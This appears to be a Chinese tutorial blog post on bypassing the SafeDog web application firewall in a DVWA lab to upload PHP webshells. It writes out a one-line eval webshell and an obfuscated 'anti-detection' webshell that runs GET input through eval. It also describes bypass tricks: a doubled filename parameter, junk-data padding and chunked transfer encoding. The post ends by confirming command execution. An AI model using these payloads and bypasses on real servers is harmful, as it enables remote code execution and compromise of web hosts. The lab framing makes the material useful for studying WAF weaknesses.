WAF绕过之文件上传

环境:安全狗,DVWA

我们上传一个一句话木马,被拦截

但是我们并不知道waf拦截我们的机制

所以我们可以采用控制变量法:

准备两个文件:1.txt 和1.php

文件中写入相同的内容:<?php eval($_POST['a']);

然后上传并抓包

1.txt可以成功上传:

1.php上传失败:

那我们可以先猜测它是通过后缀名来判断的

接下来我们在判断是否是通过content-type来进行拦截

我们上传1.txt文件,抓包修改content-type为:application/octet-stream

修改了1.txt的content-type也可以成功上传

所以可以判断,WAF是根据文件名后缀来进行拦截的

1.利用双写filename=;进行绕过

filename=;filename="1.php"

上传1.php,然后抓包修改

上传成功:

2.利用无用文件头绕过

在请求体前面添加大量无用数据(注意要和请求头空一行) 我们在请求包中插入足够多的无用数据,成功上传

3.利用分块传输绕过

这里我们需要安装分块传输的插件:

注意:针对最新的安全狗,该绕过方法已失效。 但是还是需要提一下这个方法,因为它也许能绕过其他的WAF

4.绕过内容检测

我们访问上传的一句话木马被拦截

上传免杀一句话 bypass.php:

<?php

$name = $_GET[1];

$name = substr($name,0);

eval("echo 123;" . $name."echo 456; " );

?>

上传成功

访问成功

那我们通过hackbar来验证,利用免杀一句话木马成功执行命令

  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值